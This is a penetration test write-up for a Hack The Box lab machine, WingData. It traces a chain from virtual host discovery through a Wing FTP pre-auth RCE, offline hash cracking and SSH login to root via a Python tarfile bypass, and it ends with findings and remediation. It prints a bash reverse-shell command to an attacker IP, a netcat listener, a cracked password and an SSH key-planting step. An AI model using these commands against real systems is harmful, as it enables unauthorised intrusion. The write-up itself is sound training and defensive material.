

PENETRATION TEST REPORT

Hack The Box // WingData

Date	05 July 2026
Target	10.129.46.185 (wingdata.htb / ftp.wingdata.htb)
Tester	4ss3m
Classification	CONFIDENTIAL
Status	Completed — Machine Pwned (#11431)
Points Earned	450 XP

1. Executive Summary

A penetration test was conducted against the Hack The Box machine WingData (10.129.46.185) on 05 July 2026. The assessment identified a three-stage attack chain resulting in full root-level compromise. The target hosted a corporate file-sharing website on port 80 that, via virtual host routing, exposed an internal FTP web client (Wing FTP Server v7.4.3) on a separate hostname. This version was found to contain a critical, unauthenticated remote code execution flaw. The flaw was exploited to gain a foothold on the server, after which a user configuration file containing a salted password hash was discovered. The hash was cracked offline and reused for SSH access. Finally, a misconfigured sudo rule permitting execution of a backup-restore Python script was abused, chained with a vulnerability in Python's tarfile module, to achieve arbitrary file write as root and obtain full administrative access.

Finding	Severity	Status
Virtual Host Enumeration Exposes Internal FTP Panel	MEDIUM	Confirmed
CVE-2025-47812 — Wing FTP Pre-Auth RCE (Null Byte Lua Injection)	CRITICAL	Confirmed
Salted SHA-256 Password Hash Disclosure in User Config	HIGH	Confirmed
Weak / Crackable Password — SSH Access	HIGH	Confirmed
CVE-2025-4517 — Python tarfile filter="data" Bypass	CRITICAL	Confirmed

2. Scope & Methodology

Target IP	10.129.46.185
Hostnames	wingdata.htb, ftp.wingdata.htb
OS	Debian Linux (kernel 6.1.0-42-amd64)
Services	SSH/22 (TCP), HTTP/80 (TCP, Apache 2.4.66)
Test Type	Black-box penetration test
VPN	tun0 — 10.10.17.21

01

01 Reconnaissance Nmap port scan; vhost fuzzing with ffuf
02 Vulnerability ID Wing FTP version disclosure on login page; CVE lookup
03 Initial Access Unauthenticated RCE via CVE-2025-47812
04 Credential Theft User XML config disclosure; salted hash extraction
05 Lateral Movement Offline hash cracking with hashcat; SSH login as wacky
06 Privilege Esc. Sudo misconfiguration + CVE-2025-4517 tarfile exploitation → root

3. Reconnaissance

3.1 Port Scan

An Nmap scan against the target revealed two open ports: SSH (22) for remote administration and HTTP (80) running Apache. The web server responded directly on the bare IP, but the hosted site referenced the hostname wingdata.htb, indicating the deployment relies on virtual host routing.

```
$ nmap -sCV -oN nmap.txt 10.129.46.185

PORT STATE SERVICE VERSION
22/tcp open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp open  http     Apache httpd 2.4.66
|_http-title: WingData Solutions
Service Info: Host: localhost; OS: Linux
```

The hostname was mapped locally to allow proper virtual-host resolution:

```
$ echo "10.129.46.185 wingdata.htb" | sudo tee -a /etc/hosts
```

3.2 Virtual Host Discovery

The corporate landing page for “WingData Solutions” included a “Client Portal” button linking to a separate virtual host, ftp.wingdata.htb, which was likewise added to the local hosts file. To confirm no other hidden vhosts existed, a baseline response size was first captured for a non-existent subdomain, then used to filter noise out of an ffuf vhost scan.

```
$ curl -s -H "Host: doesnotexist123.wingdata.htb" http://wingdata.htb | wc -c
362

$ ffuf -u http://wingdata.htb -H "Host: FUZZ.wingdata.htb" \
-w subdomains-top1million-5000.txt -fs 362 -ic -t 100
```

Visiting ftp.wingdata.htb revealed a login form for the Wing FTP Server web client, with the exact software version disclosed directly on the page footer: **Wing FTP Server v7.4.3**. This version is publicly known to be affected by an unauthenticated remote code execution vulnerability, CVE-2025-47812.

4. Initial Access

4.1 CVE-2025-47812 — Wing FTP Null Byte Lua Session Injection

Wing FTP Server persists each user session — including anonymous sessions — as a Lua script on disk. The web interface mishandles null bytes supplied in session parameters, allowing an attacker to terminate the expected data early and inject arbitrary Lua code into their own session file. Because Lua session files are subsequently executed by the server, this results in unauthenticated remote code execution using nothing more than the built-in anonymous account.

```
$ python3 wingftp_cve_2025_47812.py -u http://ftp.wingdata.htb \
-c "bash -c 'bash -i >& /dev/tcp/10.10.17.21/4444 0>&1'"

[*] Target: http://ftp.wingdata.htb
[*] Running command: bash -c 'bash -i >& /dev/tcp/10.10.17.21/4444 0>&1'

$ nc -lvnp 4444
Connection received on 10.129.46.185 38362
wingftp@wingdata:/opt/wftpserver$ id
uid=1000(wingftp) gid=1000(wingftp)
```

Shell access was obtained as the low-privileged service account wingftp.

5. Credential Theft & Lateral Movement

5.1 User Configuration Disclosure

Enumerating the Wing FTP install directory revealed per-user XML configuration files under Data/1/users/. Reading /etc/passwd showed a second interactive account, wacky, with /bin/bash assigned as its shell. The matching wacky.xml file stored the account's password as a salted SHA-256 digest.

```
wingftp@wingdata:/opt/wftpserver/Data/1/users$ cat wacky.xml
<UserName>wacky</UserName>
<Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
```

Per Wing FTP Server documentation, passwords are hashed using the scheme sha256(\$pass.\$salt) with the static salt wingFTP. The hash was formatted accordingly and cracked offline.

5.2 Offline Hash Cracking

```
$ hashcat -m 1410 hash.txt rockyou.txt

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5

Status.....: Cracked
Hash.Mode.....: 1410 (sha256($pass.$salt))
```

The recovered credentials were reused for SSH access, providing an interactive shell as wacky.

```
$ ssh wacky@10.129.46.185
wacky@wingdata:~$ cat user.txt
45034ad710fbc8b1c9705d0996186515
```

6. Privilege Escalation

6.1 Sudo Rule Enumeration

Checking permitted sudo commands revealed that wacky could run a backup-restore Python script as root, with any arguments, and no password required.

```
wacky@wingdata:~$ sudo -l
User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
```

The script accepts a backup filename and a restore-directory tag, validates both with strict regular expressions, then extracts the tarball using Python's tarfile module with filter="data" — a mode intended to block path

traversal during extraction.

6.2 CVE-2025-4517 — Python tarfile Path Traversal Bypass

The Python 3.12 runtime invoked by the script (confirmed via `python3 --version`) is affected by CVE-2025-4517, which allows arbitrary file writes outside the intended extraction directory even under `filter="data"`. The bug stems from improper handling of symbolic links during extraction: a crafted archive can chain nested symlinks deep enough to exceed the filter's traversal-depth tracking, ultimately resolving a final hardlink write outside the staging root. Since the restore script runs as root and extracts an archive fully controlled by the attacker, this was leveraged to plant an SSH public key at `/root/.ssh/authorized_keys`.

```
wacky@wingdata:/opt/backup_clients/backups$ python3 script.py
wacky@wingdata:/opt/backup_clients/backups$ sudo /usr/local/bin/python3 \
/opt/backup_clients/restore_backup_clients.py -b backup_2.tar -r restore_1
```

```
[+] Backup: backup_2.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_1
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_1
```

The crafted archive (`backup_2.tar`) embedded an attacker-generated ED25519 public key. Following extraction, root access was obtained directly over SSH with no password required.

```
$ ssh root@10.129.46.185
root@wingdata:~# cat root.txt
1c6e30dc1a729b2de78ac79361de59f5
```

7. Vulnerability Findings

Finding 1. Virtual Host Enumeration Exposes Internal FTP Panel [MEDIUM]

Location: HTTP/80 — `ftp.wingdata.htb`

Description: The public landing page linked directly to an internally-oriented FTP web client hosted on a separate virtual host, which was otherwise undiscoverable without vhost fuzzing or the linked button.

Impact: Exposure of an administrative/client file-transfer interface to the same network path as the public site, widening the attack surface.

Remediation: Restrict internal management panels to a segmented network or VPN-only access; avoid linking sensitive portals from public-facing pages.

Finding 2. CVE-2025-47812 — Wing FTP Pre-Auth RCE [CRITICAL]

Location: HTTP — `ftp.wingdata.htb` (Wing FTP Server v7.4.3)

Description: The Wing FTP Server web interface mishandles null bytes in session parameters, allowing arbitrary Lua code injection into a user's session file using only the built-in anonymous account. The injected Lua is subsequently executed by the server, yielding unauthenticated remote code execution.

Impact: Full unauthenticated remote code execution on the underlying host as the `wingftp` service account.

Remediation: Upgrade Wing FTP Server to a patched release. Disable the anonymous account where not required, and restrict the web client to trusted network sources.

Finding 3. Salted SHA-256 Password Hash Disclosure [HIGH]

Location: `/opt/wftpserver/Data/1/users/wacky.xml`

Description: User account configuration files, readable by the compromised service account, stored password hashes computed with a fixed, publicly documented salt (WingFTP), making them straightforward to crack offline with commodity wordlists.

Impact: Any local file read or code execution on the server exposes crackable credentials for every configured FTP account.

Remediation: Restrict permissions on user configuration files to the service account only, and enforce high-entropy passwords resistant to wordlist attacks.

Finding 4. Weak / Crackable Password — SSH Access **[HIGH]**

Location: SSH/22 — user: wacky

Description: The FTP account password for wacky was present in the rockyou wordlist and was cracked offline in seconds. The same credentials were valid for the operating system's SSH login.

Impact: Compromise of a single application-level credential directly escalated to full interactive OS access.

Remediation: Enforce strong, unique passwords per system and never reuse application credentials for OS-level accounts. Prefer SSH key-based authentication.

Finding 5. CVE-2025-4517 — Python tarfile filter="data" Bypass **[CRITICAL]**

Location: /opt/backup_clients/restore_backup_clients.py (run as root via sudo)

Description: The restore script extracts attacker-controlled tar archives using `tarfile.extractall(filter="data")`, believed to prevent path traversal. CVE-2025-4517 allows this protection to be bypassed via chained symbolic links, enabling arbitrary file writes outside the staging directory when the extraction runs with elevated privileges.

Impact: Any local user permitted to invoke the sudo rule can write arbitrary files as root, resulting in full privilege escalation.

Remediation: Upgrade Python to a version with the CVE-2025-4517 fix. Avoid granting NOPASSWD sudo rules over scripts that extract attacker-influenced archive contents, and validate archive members explicitly instead of relying solely on tarfile filters.

8. Recommendations

- 1 **CRITICAL** Patch Wing FTP Server to a version unaffected by CVE-2025-47812; disable anonymous access where not required
- 2 **CRITICAL** Upgrade Python to a release patched against CVE-2025-4517; avoid NOPASSWD sudo rules over archive-extraction scripts
- 3 **HIGH** Restrict file permissions on user configuration files containing password hashes
- 4 **HIGH** Eliminate credential reuse between application accounts and OS accounts
- 5 **MEDIUM** Segment internal management portals away from public-facing infrastructure
- 6 **MEDIUM** Enforce a strong password policy with regular rotation and breach-list checking

9. Conclusion

The WingData machine illustrated a realistic web-to-root compromise chain: virtual host discovery exposed an internal FTP management panel, a known pre-authentication RCE in the FTP software provided initial access, a readable configuration file leaked a crackable credential, and a misconfigured sudo rule combined with a modern Python tarfile vulnerability provided an effortless path to root. The critical path was: vhost enumeration → CVE-2025-47812 RCE → user config hash leak → hashcat crack → SSH as wacky → sudo misconfiguration → CVE-2025-4517 tarfile exploitation → root. Patching either the exposed FTP software version or the vulnerable Python runtime would have broken the entire chain.